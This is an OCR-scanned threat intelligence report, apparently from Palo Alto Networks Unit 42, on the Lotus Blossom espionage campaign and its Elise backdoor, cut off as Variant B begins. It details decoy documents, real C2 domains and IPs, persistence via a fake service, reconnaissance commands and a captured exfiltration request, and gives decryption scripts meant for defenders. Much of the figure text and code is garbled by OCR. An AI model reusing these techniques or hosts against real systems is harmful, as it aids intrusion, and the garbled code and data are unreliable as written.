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Introduction

Operation Lotus Blossom describes a persistent cyber espionage campaign against
government and military organizations in Southeast Asia, stretching back over three
years. Nations we have identified as targeted in this campaign include Hong Kong,

Taiwan, Vietnam, the Philippines and Indonesia. The Lotus Blossom group deploys a
backdoor Trojan, named Elise, after the sports car made by Group Lotus PLC of the
United Kingdom.

The group relies on spear phishing attacks to infect its users, often using a malicious
office document and decoy file containing content relevant to the target's occupation or
interests. The spear phishing attachment typically includes exploit code for a well-known
Microsoft® Office® vulnerability, CVE-2012-0158, which is used to install the Trojan
on the system and then display the decoy file, tricking the user into thinking the file
opened correctly. Example decoy files include:

* A spreadsheet listing high-level officers in the Philippine Navy, along with their
dates of birth and mobile phone numbers.

e The operational humanitarian and disaster response (HADR) plan for the
Armed Forces of the Philippines, stamped “Secret.”

* An invitation to the screening of a film at the Norwegian embassy.

While we have not identified specific individuals responsible for these attacks, the
evidence suggests a nation state with a strong interest in Southeast Asia. Elise

is a custom backdoor Trojan, not readily available online. The tool appears to be

used exclusively by Lotus Blossom and was likely developed specifically for their
operations. The targets attacked by this group are almost exclusively military and
government organizations, whose data is most valuable to other nation states, rather
than criminal actors. The fact that this campaign has been ongoing for over three
years indicates the individuals behind the attack are well-resourced.

Using the Palo Alto Networks® AutoFocus™ platform, which enables analysts to
correlate the results of the hundreds of millions of reports generated by the WildFire™
service, Unit 42 has linked over 50 individual attacks to this campaign.

The Operational Details section of this report provides details on specific attacks
against the targeted governments. The Elise Backdoor Analysis section contains
descriptions of how the three different variants of Elise operate and how they
changed over time. Domain names and |IP addresses used for command and control,
as well as hashes of the files used in the attacks are included in the appendix.

Operation Details

Operation Lotus Blossom repeatedly targeted several Southeast Asian countries’
militaries and government agencies, beginning in 2012 and continuing through 2015. The
bulk of the activity discussed in this paper involves heavy targeting against both Vietnam
and the Philippines during 2013 and 2014.
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All of the attacks use the custom backdoor

Trojan named Elise, which gives the Lotus

Blossom group their initial foothold in a

network. From there, they can install additional = - = .
. L4 ! Vietnam
tools, move laterally, and exfiltrate data from . A -
the network. Elise is described in more detail ® -

later in this report. = ] .

The operation relies heavily on spear s s
phishing as the initial attack vector, with
enticing subject lines and legitimate-looking ; o .. _
decoy documents meant to trick users into o ! ey
believing they are opening a legitimate file, _E_ e e o

as opposed to malware. A popular theme for LI s m N L

the decoy documents was personnel rosters, g%gﬁ,\,lé?,ng 2. ' ot
largely claiming to be for specific military or # - \ . &
government offices. Another theme was the TR (] - e
use of attractive pictures of Asian women that = : TV
were sourced from the Internet. Some of the it 4
information contained in the decoys could be Indonesia = : 2 - Pnilippines

it 3
]
i

e
[

found on the Internet; however, it is worth 2| . e
noting none of the military or government e
themed decoys could be found. L

In particular, the decoys used against the =

Philippines were exclusively military and
FIGURE 1 + Elise backdoor samples and C2 infrastructure

in distinct but overlapping groups.

government themed, with the bulk purporting
to be related to the Navy. As we were unable
to find any of the decoys online, and they
purport to contain sensitive information, we have not included images of them, in case
the information is legitimate. One document is even stamped “Secret.”

While all of the Lotus Blossom attacks appear to be the work of a single group, the
infrastructure used to target each nation is largely separate (Figure 1). Each Trojan binary
in this diagram is connected to command and control (C2) IP addresses and domains
that are defined in the Trojan’s configuration file. Additionally, the domains are connected
to email addresses used to register them, as well as |P addresses they resolve to at the
time of the attack. These links create a visual map of the attacks, which shows that, while
the infrastructure is not identical in each attack, they are all connected. In the following
sections, we will take a closer look at the attacks on each nation.

Vietnam

The Lotus Blossom campaign against the Vietnamese government was the most
persistent and consisted of 11 waves of spear phishing, primarily during November
2014. There were a total of eight droppers — one Microsoft Excel® document and five
Microsoft Word® documents. All included a decoy document intended to trick users
into believing they had opened a legitimate file rather than malware, and the content
of each was different.
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The attacks on Vietnam break into two distinct groups. All but three samples used
overlapping C2 infrastructure (Figure 2), including two domains registered by
“2759931587@qqg.com,” which was also used registered C2 domains used in attacks
against other Southeast Asian countries. This group of attacks used the following
campaign codes to identify their infections, many of which include the string “Alice,”
which may have a significance we have not yet identified.

e Alice_erpas

e Alice_rosey

e Alice_15A

e Alice_Spider

e Alice_vishipel

® jessica-cpt-app

e oyf

¢ 000

E
]

W\

FIGURE 2 + Elise samples and infrastructure used to target the Viethamese government.
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The second group of attacks (Figure 3) used a different registrant not seen elsewhere in
this activity, but overlap with targeting, campaign code structure, and one C2 IP address.
While the other domains maintained the information they were originally registered
with, one domain used here was registered by ‘paulzz@yeah.net’ and then updated to
‘studywindows123@outlook.com’. The initial registrant also registered other domains
detailed in this paper, targeting other Southeast Asian countries prior to their updating,
indicating this may be a reseller favored by particular APT group(s). It could also be a
simple matter of actor preference, but we cannot say for sure one way or the other. The
other domain used a registrar that does not show any registration information. The three
campaign codes used with these samples are below.

* QY030610
* KITY01232
* KITY090901

KH ung dung CNTT nam 2015.doc

Filen; :."/'

DiaChi_email.doe ¥ I e
463c6cbMbBeci2dl44e294818dd500457807MI26dd65Bc5Te329¢09M43a6e0

bled0dd3ad2el2 90adad84 517 199031365 ectd BachdcheTeald2i6b32 Scd 300

Sa226eeaelfcs laZbe, S4238d0ccE

ScOcdaach49ae9d997d04

e venc.co

i h 46.251.237.59
95.184.195.152 i tintuchoahau. com

studywindews | 2 1 outiock. com

FIGURE 3 + Diagram of second group of Vietnam attacks.

Most of the attachments used in this campaign had a technical theme, shown in figures two
through four. Additionally, all were written in Vietnamese. We are not including an image of

one sample, as it claims to be a certification test for a particular type of VSAT terminals. It is
unknown how the actors obtained a test for this course, assuming the questions are legitimate.

HUGNG DAN CAI DAT VA $U" DUNG LOGFUSION Chon Add,
1. Tirmay tinh gidm sat truy cdp thwmuc share coa may chil ACS theo dwimg - Title chon néi dung tuomg (mg cita cdt 46, vi dy: Ngay, gio. ngwdi cdu hinh,
.1.8. Taiday s& thay thumye logfile clira cac file cip nhjt sy céulénh...
thay ddi cAu hinh. Chugt phai the mye nay chon Map network drive > Z: - Seperator chon dduphiy,”

Méchuong trinh Logfusion, mé file Z:/ Tacacs= Administration active.csv - Cirthé, thém di cic cdt cin thiét,
. Déchialog thinh cic oft cho dé theo doi. Tai cira 56 Logfusion, chudt phal e s
vio tab dang theo ddi chon Edit Column

w

: o LogFusion Pro ~ Custom Columns
[ Badd - [Jede [ Remove

L Open = Lof Clove = LF Clowe |0 1) A [3] J Highiaht - | Le-a T Separstor ignome Sep, in Chustes
- 9 Dute be
[ Tacace+ Adminstrgton actre cvv || . . b . e
=] LogFusion Pro ~ EditColuma I
‘ The: Dmie
i Openwith Defush Handler |5 i 1| Sepwer ]
g Dpen with Notepad 5| R
| Dpen Centuning Folde: ’
| s \Tfortaby [ || e
Org cokumna 12 e -order hem [ Cancel

FIGURE 4 + Instructions on how to install and use LogFusion, a legitimate tool used to parse log files.
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BO THONG TIN VA TRUYEN THONG
CHUONG TRINH HOI THAO VIBRAND 2014
Chi dé: Phit trién thi trwong, thwong hi¢u cho sin phim, dich vy CNTT
Thvigian: thirNam, ngay 04/12/2014.
Diadiém: Khachsan Ramana, s6 323 Lé Van S¥, Quan 3, Thanh phd HS ChiMinh.

Thanh phén: dai dién B, nganh, dia phwong, héi, hiép hoi, doanh nghiép CNTT,
cac chuyén gia CNTT.

THOT

GIAN

NOIDUNG

08:00
08:30

Dén khich

08:30
9:00

Khai mac Hi thio

- Lanh dao Bo Théng tin va Truyén thang
- Lanh a0 Uy ban TPH6 Chi Minh

9:00
9:15

Pinh huéng co ché thué dich vy CNTT va giii phip phit trién thi truéng, thuong hiéu cho

dich vu cong nghé théng tin

Dgi dign Vu CNTT. Bé Thing tin vi Truyén thong

9:15
9:30

Hién trang, nhu cu vi dé xuit gidi phip phi

t trién vige thué dich vy CNTT tai TPHCM
Dai dién S6 TTTT TPHCM

09:30
09:45

Sir cin thiét cia tén mién tiéng Viét trong vide

phit trién thuong hidu ciia doanh nghiép
Dai dign VNNIC|

09:45
10:00

GIAILAO

Chuyén dé 1
Phit trién thi trurdng, theong hiéu dich
vu céng nghé théng tin

Chuyén dé 2
Phit trién thi trudng, thuong hidu
sin phim céng nghé théng tin

10:00
10:15

Phit trién dich vy CNTT cho CQNN

Dai dién Viettel)

Phat trién thi truong va thueong hidu cia cic
doanh nghiép phin mém tai Viét Nam
Dai dign VINASA

10:15
10:30

Phit trién dich vu CNTT phuc vy hoat déng
c0 quan nhi nude
Dai dign Cong ty InetSolution

Phat trién sin phim cia BKAV

Dai dign Bkav

10:30
10:45

Phit trién dich vy Ching thyc chir ki sél
VNPT-CA
Dai dign VDC|

Phit trién sin phim phin cing thuong hiéu
Viét ciia CMS
Dai dién CMS|

10:45
11:00

Phit trién dich vy mdy chi Trung tim Di
liéu FPT Telecom - Data Center
Dai dién FPT)|

Phat trién dich vu CNTT trén nén PTDPM phuc
vy hoat déng co quan nhi nuwde
Dai dién Cing ty eK|

11:00
11:15

Phit trién cc dich vu CNTT phuc vu hoat|
déing img dyng cita co quan nha nde
Dai dién Trung tim CNTT, Dai hoc Cén Tho|

Phat trién sin phim, gidi phip phin mém|
ngudn mé thuong higu Vit
Dai dién ciia VIFOSA|

11:15
11:45

Thio luin va bé mac Hi thio

FIGURE 5 + The agenda for Vietnam’s Ministry of Information and Communication
workshop with Vibrand, which was held on 4 December 2014. The purpose of the
workshop was promoting the development of products and IT services in Vietnam.
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FIGURE 6 + Excel spreadsheet titled “VPTW Transfer Network Phase 2" and lists a
number of provinces in Vietnam as well as Taiyuan in China.
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The final four sample decoy documents had very different themes. One was an
invitation to an event at the Norwegian Embassy in Vietnam commemorating the
anniversary of the Kon-Tiki voyage (Figure 7). Of note, the date of the invitation is
incorrect — the actual event took place 11 and 12 December 2014. The requested
email address accepting RSVPs also seems just slightly suspicious, and they helpfully
instructed the recipients to forward the invitation, if they were unable to attend. Two
of the decoys contained one or more images of attractive Asian women taken from
the Internet, one of which (shown in Figure 8) was used multiple times. The final
decoy contained a Merry Christmas image with broken English text.

INVITATION TOA SPECIAL SCREENING OF THE NORWEGIAN MOVIE “KON-TIKI"

incelebration of the 100th anniversary of the birth of the Norweglan explorer and adventurer Thor
Heyerdahl, the Norwegian Embassy has the pleasure of inviting you and a guest to a special film evening
featuring the 2012 Norwegian historical drama “Kon-Tiki". The film was nominated for the 2013 Oscars in
the category “Best Foreign Film” and tells the story of Thor Heyerdahiand his 1947 Kon-Tiki expedition
(see attached flyer). The screening will be preceded by a reception.

Venue: Ciné 22A HaiBa Trung Street, Hoan Kiem, Hanoi
Date: . I

ted and based on a “first come, first served” basis. Reservations should be made by sending

| please advise

r.norweglian@yahoo.com.vn, no later than 12 December. In your e-|
g o guest.
oble to attend, please forward this in

tion to o colleague.

FIGURE 7 +
Fake invitation
to an event
commemorating
the Kon-Tiki
voyage.

Wishing You Merry Christmas

With loves and best wishes to you and
P your family!

FIGURE 8 + Photo of Hoang Thuy Linh,
a Vietnamese actress and singer.

PALO ALTO NETWORKS =+

FIGURE 9 + A Merry Christmas image
with broken English text.
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The second group of attacks also used decoy documents written in Vietnamese. One
document purported to be a contact roster and contains the names and Vietnamese
webmail email addresses for multiple high-level Viethamese officials. The first page of
the second decoy is shown below (Figure 10) and claims to be an IT upgrade plan for
2015 for the Vietnamese government. The final sample also appears to be related to
an IT upgrade plan, with implementation dates and responsible individuals (Figure 11.)

UBND TIiNH CONG HOA XA HQI CHU NGHIA VIET NAM
VAN PHONG Pic lip - Ty do - Hanh phiic
Sé:  /KH-VPUBND ,ngdy  thang 01 ndm 2015
KE HOACH

Ung dung cdng nghé théng tin niim 2015

I. Ciin cir xdy dung ké hoach va d todn:

- Thong tu lién tich sb 19/201‘2/'1' TLT-BTC-BKH&DT-BTTTT ngay
15/02/2012 cta Lién BQ Ké hoach va Pau tu — B§ Tai chinh — B§ Thong tin va
Truyen thong huéng din quan 1y va sir dung kinh phi thuc hién Chuong trinh
quoc gia vé mg dung cong nghé thong tin trong hoat ddng cuia co quan nha nudec;

- Quyét dinh s6 1926/QD-UBND ngay 16/11/2010 cua Uy ban nhén déin
tinh phé duyét diéu chinh quy hoach phat trién cong nghé thong tin tinh  giai
doan 2006 — 2015, dinh hudng dén nam 2020;

- Quyét dinh s6 1925/QD-UBND ngay 16/11/2010 ciia Uy ban nhén dén
tinh phé duyét Ké hoach img dung cdng nghé théng tin trong co quan Nha nirde
tinh giai doan 2011 —2015;

- Cén ct Cong vin s6 483/STTTT-CNTT ngdy 22/7/2014 ciia S& Thong
tin va Truyén théng vé viéc huéng din xay dung ké hoach va du toén chi cho tmg
dung cong nghé théng tin nim 2015;

- Cin cir hién trang va nhu cu tmg dung céng nghé théng tin giai doan
2011 - 2015 ciia Vin phong Uy ban nhan dén tinh

FIGURE 10 + Claims to be an IT upgrade plan for 2015 for the Viethamese government.

PHONG
Chuong trinh cong tic nim 2014
STT Cong viéc chinh Thoi gian thyc hién | Ca nhén chi fri
1 Di chuyén, 6n dinh vj tri lam vigc T6 Sira chita méy tinh Thang 03/2014 Hai
2 Lam lai cac thi tuc cén thiét cho viéc mua Thiét bj ra quét an ninh Q LIL2014 Lim
3 Bio tri, bao dudmg Hé thong Tong dai, ti cap dién thoai QIIL, IV/ 2014 Nga, Phurong
3 Theo doi, giam sat hoat d0ng cua cic may tinh da 1ap dat. Nam 2014 Hai
5 Phdi hop BQLDA trong viéc trang bj hé thong TDL tgi try s moi Nam 2014 Hong
6 Bédm bao cho hé thing dign thoai, miy tinh ciia co quan ludn hoat ddng tot. Nim 2014 Nga
TRUONG PHONG
Pd Viin Hio

FIGURE 11 + Also appears to be related to an IT upgrade plan, with implementation dates and
responsible individuals.
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Philippines

The Lotus Blossom operation has
targeted the Philippine government,
with a particular focus on the
military, since at least 2013. We
identified six unique Elise droppers,
each with its own decoy document
and content. These samples all

had overlapping command and
control infrastructure (Figure 12).
All six decoy documents were
related to the Philippine military

or government, primarily claiming
to contain contact information for
high-level officers and officials.

We are not including images, as

it is possible the information is
legitimate, but the subject lines
with brief descriptions are included

in Table 1 below.

FIGURE 12 +
Connections between

Elise samples and C2

@
\ et i servers used in attacks
s ) f—w@ on the Philippines.
/ \ \
\
& . e
harrywed Sy oy - @ Iatrien dyndni o

Decoy Name Decoy Description

DFA GAD Directory
HADR PLAN 29 May 14
C,1AD NR 03-0226-313-14
RQST MOUTPIECE
LOUD HAILER

PN KEYPOSITION with

CELL Nrs

Cellphone Number

Claims to be a directory of personnel in the Philippine Department of Foreign
Affairs Gender and Development, including private emails and cellphones.
Claims to be the operational humanitarian and disaster response (HADR) plan for
the Armed Forces of the Philippines and is stamped “Secret.”

Claims to document a problem logging into an account for a specific real-time
aircraft tracking system and appears to be a Philippine Air Force document.
Claims to be a requisition form for a mouthpiece for a specific hailer for a specific
unit.

Claims to be a roster of high-level officers at the Philippine Naval Headquarters
and is dated 23 June 2014. It has birth dates and cellphone number as well as
current job roles.

Claims to be a roster of high-level officers at the Philippine Naval Headquarters
and is dated February 2015. It contains job roles as well as cellphone numbers.

Table 1 + Names and descriptions of decoy documents included in attacks on the Philippine government and military.
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In contrast to the Vietnamese targeting, this activity involves a mix of actorregistered
and dynamic DNS (DDNS) domains use for C2. However, the actorregistered domain
also used the same initial registrant, ‘paulzz@yeah.net, as the final two Viethnamese
samples discussed above, and most campaign codes also appear to end with a date.
Also of note, all but two of these samples used campaign codes that started with
‘340" The text within three of the campaign codes refers to the decoy contents. The

campaign codes we saw with the Philippines’ activity are below.

* 340_typhoon
° 340-0226

° 340-dfa-520
° 340-0528

* phone

* key0730

Taiwan and Hong Kong

We uncovered three droppers that targeted Taiwan and one
that targeted Hong Kong. One of these claimed to be a
current staff contact list, but when opened, did not contain
any information. As this is the only rosterthemed decoy
that did not contain any information, it may indicate this
was a mistake on the threat actor’s part. WWe were unable to
recover decoy documents for the other two.

The sample targeting Hong Kong contains earthquake
safety information in long form Chinese, copied from

the Internet and widely circulated in multiple languages,
since at least 2009. It has its own entry on Snopes.com
evaluating the accuracy of the information'. This sample is
also an outlier, in that it targeted a science and technology
university, in contrast to most of the other targeting that had
a government or military focus.

This activity shows the clearest striation (Figure 13), with the
cluster on the left using the first two campaign codes below.

* 310-pyq

a - @
I
| o
l @
[ o
e /
Tard014whon. oo /
=
"H v’; E I®I
e
A
/
e, [t @
\‘\ I| / i
& s

FIGURE 13 + Connections between Elise samples and

°* mm-0807

e cyd-zc

It is possible this represents two sub-groups targeting Taiwan and Hong Kong with
the same malware over the same period of time. Interestingly, the cluster in the

upper left uses some infrastructure used in the Vietnamese activity, as well as a

registrant seen in the Philippines’ activity.

PALO ALTO NETWORKS
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C2 servers used in attacks on Taiwan and Hong Kong.
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IndOHESIa 6 Makanan Ini Bantu Sembuhkan Flu

We identified one Elise dropper carrying a decoy
document written in Indonesian that contains

information about health foods to avoid the flu, including
a picture of a sweet potato. It appears to have been
copied directly from the Internet. The campaign code
used in this attack was “36-SC-0115," as well as the
following C2 servers.

© 122.10.89.84
* beckhammer.xicp.net

The campaign code and C2s are shown below, and

the C2 matches up with one of the Philippine-targeted
samples in the previously discussed activity. In addition,
the campaign code format and numbers at the end of wanajex. kanten kesshatan About.com, Rachel Berman RD, hidangan
the campaign code appear to be a date, which is also yang dikonsumsi sehari-hari temyata juga bisa bereran menjadi benteng
similar to the Philippines’ activity.

FIGURE 14 + Decoy document written in Indonesian,
which describes foods that help fend off the flu.

Elise Backdoor Analysis

Over the course of our research, Unit 42 has identified over 50 samples belonging to

the Elise malware family. Through analysis of these files, we have grouped them into
three distinct variants. Compile timestamps for these samples ranged from June 2012 to
March 2015. The naming of the three Elise malware variants coincides with their original
compile timestamps, starting with the oldest. Please note that these variant labels may
not coincide with naming conventions created by the antivirus industry.

While each variant uses distinct mechanisms for infecting the system and remaining
persistent between reboots, all three variants share the following common attributes:

* An encrypted binary configuration data structure containing a list of C2
servers to contact.

e A campaign identifier, such as ‘jessica-cpt-app’ or ‘370my0216’, which
identifies the specific malware reporting to the C2 server.

e C2 communications using a custom format delivered over HTTP or HTTPS.

® Performs basic network reconnaissance upon installation and reports findings
to C2 server.

Each variant of Elise contains the functionality to perform the following tasks:

e Execute commands, DLLs, or executables
e Write Files

¢ Read Files

¢ Update Configuration

e Upload Configuration Data

PALO ALTO NETWORKS + Operation Lotus Blossom 1 2



Variant A

The first variant of Elise identified by Unit 42 has a compile date set in mid-2012.

This particular variant has a configuration size of 1480 and the ability to install itself
as either a service or executable. Variant ‘A is delivered via a dropper executable file,
which differs from later variants that are typically deployed with a malicious Microsoft
Office document.

When executed, the malware will configure itself for deletion upon reboot, using the
MoveFileExA function, as seen below.

MoveFileExA(self, O, MOVEFILE_DELAY_UNTIL_REBOOT);

Readers may recall seeing this technique used by the Microsoft Excel shellcode
identified in the Vietnam campaign. The malware proceeds to extract and decrypt an
embedded DLL to the following location.

¢ %APPDATA%\Microsoft\Network\mssrt32.d1l

The following algorithm is used to encrypt/decrypt the embedded DLL:

void decrypt_string(char *encrypted, int size)

{
inti;
if ( encrypted )
{
for(i=size-1;i>0; i)
encryptedl[i] A= encryptedli - 1];
*encrypted A= 0x15;
}
¥

Prior to writing this DLL to disk, the malware will write the encrypted configuration to
this DLL. The following Python code may be used to decrypt this configuration:

from ctypes import *
from struct import *
import sys

fh = open(sys.argv[1], ‘rb’)
fd = fh.read()
fh.close()

cdll.msvcrt.srand(2014)
Out — an
for x in fd:
out += chr(ord(x) A (cdll.msvcrt.rand() % 128))

print repr(out)

PALO ALTO NETWORKS + Operation Lotus Blossom
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The malware proceeds to configure the mssrt32.dll DLL as a service. This service
is configured with properties specified in the malware’s configuration. The following
example was identified in one of the samples analyzed.

Service Name MSCM

Display Name Microsoft Security Compliance Manager

Description The service provides centralized security baseline management features, a
baseline portfolio, customization capabilities, and security baseline export
flexibility to accelerate your organizationj’s ability to efficiently manage

the security and compliance process for the most widely used Microsoft
technologies.

Image Path % SystemRoot%\System32\svchost.exe -k MSCM
Service DLL % APPDATA % \Microsoft\Network\mssrt32.dll
Service Main ESEntry

This service is then manually started using a call to the StartServiceA function.
Should the installation of this newly created service fail, the malware will instead
write an executable to the following location:

* %APPDATA%\Microsoft\Network\svchost.exe

The name of this executable is specified within the malware’s configuration data.
This file is embedded and dropped in the same manner the mssrt32.dll file was
previously. Persistence for this executable is set via the following registry key:

» HEKCU\Software\Microsoft\Windows\CurrentVersion\Run\svchost :
%APPDATA%\Microsoft\Network\svchost.exe

Finally, this executable is run via a call to the ShellExecuteW function.

This dropped DLL or executable contains the actual Elise malware. When run, it will
begin by deleting the following file should it exist:

*  %TEMP%\OOOELISEA350.TMP

This file will be used going forward to store any log data generated by Elise. The
malware writes its encrypted configuration to one of the following locations:

¢ %APPDATA%\Microsoft\Network\6B5A4606.CAB
e %APPDATA%\Microsoft\Network\6B5A4607.CAB
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The following script can decrypt and parse the CAB file:

import sys
from struct import *
from ctypes import *

def decrypt(data):
cdll.msvcrt.srand(2014)
out=""
for x in data:

out += chr(ord(x) # (cdll.msvcrt.rand() % 128))

return out

def parse_config(out):
identifier, \
compile_time, \
unknown1, \
sleep_timer, \
unknown_bool, \
campaign, \
c1,c2,c3, c4, c5, \
unknown_bool2, \
unicode_exe_name, \
service_name, \
registry_service_name, \
display_name, \
service_description = unpack(“40siiib20s50s50s50s50s50sb40s20s20s50

s700s’;

out[0:1154])
print “Config Identifier  : %s” % identifier
print “Compile Time : %s"” % compile_time
print “Unknown DWORD : %s"” % unknown’
print “Sleep Timer 1 %s” % sleep_timer
print “Unknown Bool Value : %s” % unknown_bool
print “Campaign : %s"” % campaign

print “Command and Control : %s"” % c1
print “Command and Control : %s” % c2
print “Command and Control : %s” % c3
print “Command and Control : %s” % c4
print “Command and Control : %s” % c5
print “Unknown Bool Value 2 : %s” % unknown_bool2
print “Service Executable : %s” % unicode_exe_name.replace(“\x00"")
print “Service Name : %s"” % service_name
print “Registry Service Name : %s” % registry_service_name
print “Service Display Name : %s” % display_name
print “Service Description : %s” % service_description
fh = open(sys.argv[1], ‘rb’)
data = fh.read()
fh.close()
parse_config(decrypt(data))

PALO ALTO NETWORKS + Operation Lotus Blossom



The malware proceeds to enter in a loop, where it will attempt to communicate with the specified URLs via

HTTP or HTTPS. It initially sends the following GET request to the C2 servers specified in its configuration:

GET /<param1>/page_<param2>.htm| HTTP/1.1
Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32)
Host: <C2 Server>

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

In the request above, the <param1> parameter is determined using the last four octets of the victim's MAC
address. For example, if the victim’s MAC address was 00-11-22-33-44-55-66, this parameter would become
'2233445566'. The <param?2> parameter is randomly generated using the current time as a seed. This results in

a unique request being made every time.

When an initial communication is made to the remote server, the malware will execute the following
commands to conduct basic network reconnaissance:

e netuser
e ipconfig /all
* net start

* systeminfo

Elise uses a series of cookie values in order to exfiltrate data, as seen below.

GET /298d2341/page_12041052. htm] HTTR/1.1
ACCEpL: W/¥

user-agent: Mozillas4.0 (compatible; MSIE 8.0; win32)

Host: cpcl2006. dyndns-freea. com

Connection: Keep-aAlive

Cache-Control: no-cache

Pragma: no-cache

Cookie: A=]T4BAPIZMASANEKEPTOQrDUNVHMTASE pMhrohto0szIsM] Prng?41&11c1+qub5N‘BwazclF?IukJaSqqurz’de]Aech‘BMFQlEIY/
gr31T4Mj 0b&0oMDILY IKSOETILHIF 107 srLkary 20, VOOBCO3 oYL TUK+ZFL/JwH3mS6EFk FG2 dv3KvF /EKSOLTULIU+ASRCEYWL I IV2owSGOiRkS+T
+nUCeicsy 201 PhEOMWUT cALG] LM Qv vmh 5 eomrkd 654 7ryok FLOWL Ok NLS 22¥RS8Kmd 7ThgjnceogfckCo3gjcvom3E4DiBvasycN/ELZN3 d9e

+F4 a1i12CB07omFrl] 1t Bk BOAS HXD4 OBMHI S+RLT Y KKMFHIEM A TMPHLBC 7+AC D,/ dijydniCa kxriwozs 117 293+1 P3zNaETMwCVIORLP ] gOAASZY B0/
FRFUSSMyS5ISKSRp4k Y KmxebPc86PPMALMGEE 2wgh,/gpEFPS Nk 2FL TNB]+2Uy+yx Tyms0,/28Tonr KQs4bagyvwo+bdI 88wup82309y 12/

SZUTE Xmepp 5 VCXZMoQBVpwOW3IWRT £/ XBwU7 91 JLSIcFcIY 6] cevv530hxznBUgxixK ] 54 q6bBY 9HvdgIKKRBD ] Gj4m5a TyemMoMagLCLAMi clrR2NS
+WLNOKGKZ7Z4t8K2M 122 2P FNthfJFya+FIu+S\.rMBnRij+x2RNTGr'chAnQ Oahpnym

+a 5B FEWT 2XIWlCRS38Ad62ZD Vo1 22m 5 TxxhQ ] jxQrbvoBd 3E/31xguovichgk vy CsTromr9MODZBNAY3 LB w+HODRpHO3F 16eULT daF zad
+7pGThEPT vl Twk0apzCT109d1 20r 05 9052VHET GI ZPmoO+mk CEVEXC5SgnI IUTM2FNadvzCP4 gBuPphi3 YQDL?aPpOcRQvEyr'taEJ
+IXoxvCrBMBpxavi2DKOMNgBEL2 Sx INLA LBy w2 Tg9kXnARPYPQS 1 9HovxN21156+a10p] eZEYgZRus 09pw,/ whZgI Ubem St TkCHk/
j12MehyyRxI101x298Tdt SNqugSHODchdHSzhgunrwgmssleCqR GIWCY /PFRTRMoMNY 2171 /gDG0oNNgS0D,/

Afsdah2ly7TaPawyoawbCFDANG4 BhefqSKI4doDo79chMk Snslodsxchz/
qNgnuGuETﬁcxtdgCITzz?Qlwfsuq;l.vuhwcﬂlQNBZOI.GuFZerzupgnBuOZLngl?zRh%zgsthdvvosLxYNOquNHaThDFBGanVchFzEMneITFFttSX
+XBHZBaHEZ7 0dOBR,ZACHHR I TKeLILK Bdz+r fXT /ACubQTWEhCKhKT L xeBnwaAGI HiEv2dTPMZp 1v+n,/

+h3TNBS6YXVOJCHT I ZZKNMx 2E7 19251 7q6PenNs6dvok 7HGwr veHVEREDT 72b40ods11 03 /moPO/
+9jE5Ln?0v9YQeFDEeen"ItUostSEz%FwaUZeSquWccz3E1r"l1GlemuZFx4szZEx% 3HL] Spxtosndk6LXG3 jBFC Se+dBy,/
t1vCogTxhk52502hdss5xBbTPCHLDINUBYSMCSZB WL V7 /20KNLSEf S /BomDv { BMelc ﬂaj21:DN1YndlakEquF\rGKbgonaKdERzu‘l1‘I+t
+RZBIwZH1 Hb:| ZIUVI IVHWUVNGG+3 Bk FFHEGCLbXUBTXBWEK3WLr HQehJO0DODN

+7WGGRBLUT2 TfhxvevzuwebnhT895vh1 friBERvEAIbgguYVEIgwNUe2CVRYBTFCIg3gNoLXasFehexwed Y 71IEURPLYxbxyvdwwt hFr fy=fonr1ftarop
BDCSFQEM2Z UKD/ /6GOThS bepwqdmxHeR'l AZEFCWBU waxgx‘r‘l pBksdagEvréed SANIH2GK ] 2w2 1 IfwiblGsasxvpas cme3afvannkyxd aEs
+FLYL2TgH3] cRk ThgcOLEVGWhXmgEt xs onmsmz&mou yVXEIKBEA VBT SZPI 2 qopwwHEC 71N xd2Ww,/ 50L1SORA 03T407 S2wWhUyLUmPGCRYP 25 § HH
VAh3Tw] /x0VhBZMXLCYCLREPNPZXO T LVNAGUM /Sk BK4 4wl +0NIEYVOEU+3FaBLPQYS4 Y cwoud /r 1Q2Cr I 2Tk NHLT+KwaNrt x
+3ch'FRTr-iGP1mE?DEunxs1e RAzfuwngedjf

aGyn3xsmfasppdf095tZaPal Zowoaw7! d2ups><schG:wnGENxUNFmeOAF:’KNhH:LGawOsMJaﬂp?vSY:cswwzmsmzlng

xlégAgd 6>5<J1‘IMqﬁd\gwyagnsxw:Thaz‘lndeka:m‘IqgnwrNh'lm1c+sv62n91sF2gzb+nPaTHooSetADn+ekWEth'ItRchm1 4 dd bHwFgEPN
+BGQHLhP SxpyvtgkNbz
+ijaDZPBaCBNgZ'|BUVLUXIGnan‘FxQIFOXr'?XPk"IUbelU'iNVZJEYGX\.G?dLOyDEGXaCCQbyS?ZGMr‘NQKgGXO"mSkr‘BOG?H’\.-’DpbejAH3DOXqPL‘F/,f
waPCaTkD/DQIumstetUMRBt:zQemucrSMfUEEmevo/‘IxN?‘Mgczxter5wslm0ug&1‘p+c6caGyS\.rR

+2HOVSI?"|0K46A2/3T5LIOMUGpEp'IbggFWF pkacyi0o58150A0LTG37 ] zgaNcaAlGz] LOCa8wihx/5L12ml9zGVCViwWIt 328P+/UTyLSmNO2n
+0etchiPivkis66f08/5BUSNO+RSGDOES 57 S+dwlel 9k ufvak 2QuIviwyvU STwnPOATwkx2FsUa/ukwex] Axdf19Fx2 tpxd
+radnctwk6UCIHag2vFhd5940QgkC7g7gClBydc] kAwwVDOECNS ynZwvas 0B3nhxsHF 1 x24 Fgdyw] Cowk L1SuCzxdar o TMyvauNF 0Ims 12k6cHzCRLDA P
ozEFujsQOi'qOL]Btpfqr]etI‘rgFDyc?QuepfuM K><0+r‘2'F1tHE4az{N'nYZ,HZPOLzeuSPastaF:lcxn529V+3qFGquawgJaLLOBWpYZngbeNr'
+GEyvdwewsi 1skREOx]

Cookie: B=2mYAG+hgehY9nE]\.rn9"|THyEmWRkNv?cx"luJowD'ICH3\¢hT/rk43thEuhr'enGthsIw?NTUekszlpbgnxoewg:lmzuxc‘me
+0oyyvd1/9FLtky 1AMZDILdK INFkncoAEnZ IKLESanF 1 2dk s00vemd 1 TYuauF p9svsbunyvsCTFPOS 10] ayHNCQOCE9VPIOBST4MA ZSVREY

FIGURE 15 + Elise Variant A POST Request.
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Data contained within these cookies is Base64-encoded. Once decoded and joined,
the data has the following structure.

1111 1 111(1(2]|2)|2|2|2]|2]|2|2]|2|2(3]|3
11213141516{71819]0/1 |2 s5(e|7|8|olo|1]2]3]a|5]6|7|8]o]0]
Len [ Unk [ RC4 Key CRC32 Variable-length Encrypted Data

FIGURE 16 + Elise Variant A Data Encoding.

Variant B

The second variant (B) of Elise has compile timestamps dating back to July 2012.
